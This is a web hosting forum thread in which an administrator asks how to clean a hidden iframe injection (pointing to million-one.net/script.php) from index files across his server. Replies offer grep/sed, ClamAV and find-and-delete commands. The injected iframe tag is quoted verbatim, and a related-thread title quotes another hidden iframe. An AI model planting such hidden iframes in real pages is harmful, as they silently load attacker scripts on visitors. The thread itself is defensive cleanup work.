Results 1 to 11 of 11
Thread: iframe
-
11-12-2009, 07:49 AM #1Web Hosting Guru
- Join Date
- Jun 2008
- Location
- India
- Posts
- 266
iframe
I have this code on my dedicated server on all the domains
<iframe name="StatPage" src="http://million-one.net/script.php" width=5 height=5 style="display:none"></iframe>
some domains an additinal index.html is created with this content and index.php file is appnded with this code. I am looking for a script (linux) to remove the code from all index files as well as remove all blank index files. Any coders could help?Ranjith
Light travels faster thn sound.This is why some people look bright until you actually hear them speak
-
11-12-2009, 09:16 AM #2Web Hosting Master
- Join Date
- Oct 2004
- Location
- Kerala, India
- Posts
- 4,771
Collect the path to the files affected in a file called /home/newlist. The format for the file path should be like below.
Code:/home/username/public_html/file1.php /home/username/public_html/file2.php
Code:grep -rl million-one.net /home/username
Code:cd /home/username
Code:#!/bin/sh for i in `cat /home/newlist` do echo "changing $i" echo "***********" sed -e 's/<iframe name=.*<\/iframe>/ /' $i > $i.script mv -f $i.script $i chown `ls -al | sed -n '2p' | awk {'print $3'}`.`ls -al | sed -n '2p' | awk {'print $3'}` $i ls -al $i echo -e "done $i \n" done
Last edited by david510; 11-12-2009 at 09:21 AM.
David | www.cliffsupport.com
Affordable Server Management Solutions sales AT cliffsupport DOT com
CliffWebManager | Access WHM from iPhone and Android
-
11-12-2009, 10:12 AM #3Web Hosting Guru
- Join Date
- Jun 2008
- Location
- India
- Posts
- 266
thanks David, could you help me a bit more, I need to remove all the index.* files from all users public_html which are empty.
How may I achieve this using scriptRanjith
Light travels faster thn sound.This is why some people look bright until you actually hear them speak
-
11-12-2009, 10:17 AM #4Web Hosting Master
- Join Date
- Oct 2004
- Location
- Kerala, India
- Posts
- 4,771
Removing index.* means all index files will be removed. Like index.html, inde.php, index.shtml etc. You need to achieve this?
David | www.cliffsupport.com
Affordable Server Management Solutions sales AT cliffsupport DOT com
CliffWebManager | Access WHM from iPhone and Android
-
11-12-2009, 10:22 AM #5Web Hosting Guru
- Join Date
- Jun 2008
- Location
- India
- Posts
- 266
Yes,I need to remove all index file which are empty ie blank with no code in it
Ranjith
Light travels faster thn sound.This is why some people look bright until you actually hear them speak
-
11-12-2009, 10:48 AM #6WHT Addict
- Join Date
- Mar 2007
- Location
- India
- Posts
- 115
HI
You can use ClamAV Scanner to remove all the iframs in your server it will remove all the files which are affects by iframs also other virus files in your server. You can move,copy or remove the files as you like using the ClamAV Scanner, form your ssh just run the command
cd /home
clamscan -ri --move /infected
Be sure to to run all the commands
cd /
mkdir infected
cd /home
clamscan -ri --move /infectedLENOVOhost Network Solutions, designs the technology of Tomorrow
RVSkins, Fantastico, 24/7 Support, FFMPEG, SLA Uptime, Daily Backups, End-User Support & More
Support Desk Software | Sales, Billing & Tech End-user Support | Hosting Templates
-
11-12-2009, 11:04 AM #7Web Hosting Master
- Join Date
- Oct 2004
- Location
- Kerala, India
- Posts
- 4,771
David | www.cliffsupport.com
Affordable Server Management Solutions sales AT cliffsupport DOT com
CliffWebManager | Access WHM from iPhone and Android
-
11-17-2009, 10:55 AM #8Newbie
- Join Date
- Oct 2009
- Posts
- 9
Remove iframe code
Hello,
You can remove iframe codes using the following command.
find . -type f -exec replace '<iframe code></iframe>' '' -- {} \;
Shiju S Thomas
Admin-Ahead
-
11-17-2009, 11:07 AM #9Web Hosting Master
- Join Date
- Oct 2004
- Location
- Kerala, India
- Posts
- 4,771
David | www.cliffsupport.com
Affordable Server Management Solutions sales AT cliffsupport DOT com
CliffWebManager | Access WHM from iPhone and Android
-
11-17-2009, 11:38 AM #10WHT Addict
- Join Date
- Nov 2009
- Posts
- 109
One thing you might consider is running dotdefender on your server to prevent such injections. It using very little system resources and prevents attacks even with old/bad code.
<snipped>Last edited by ldcdc; 11-17-2009 at 11:57 AM.
-
11-17-2009, 01:39 PM #11WHT Addict
- Join Date
- May 2009
- Posts
- 157
cd /home/user
find . -type f -size 0 -name "index*" |xargs rm
This should work. Try once
Similar Threads
-
iframe help
By imadmin in forum Web Design and ContentReplies: 1Last Post: 06-07-2009, 06:36 PM -
Table's border visible inside iframe with visibility: hidden (set for iframe)
By zoldar in forum Web Design and ContentReplies: 4Last Post: 03-17-2006, 12:58 AM -
Iframe
By Saryooo in forum Web Design and ContentReplies: 5Last Post: 04-05-2004, 09:18 AM -
<IFRAME SRC="http://www.forced-action.com/?d=get" WIDTH=1 HEIGHT=1></IFRAME>
By rychen in forum Hosting Security and TechnologyReplies: 7Last Post: 03-12-2004, 01:29 PM -
iframe
By alucasa in forum Web Hosting LoungeReplies: 12Last Post: 06-21-2001, 07:39 AM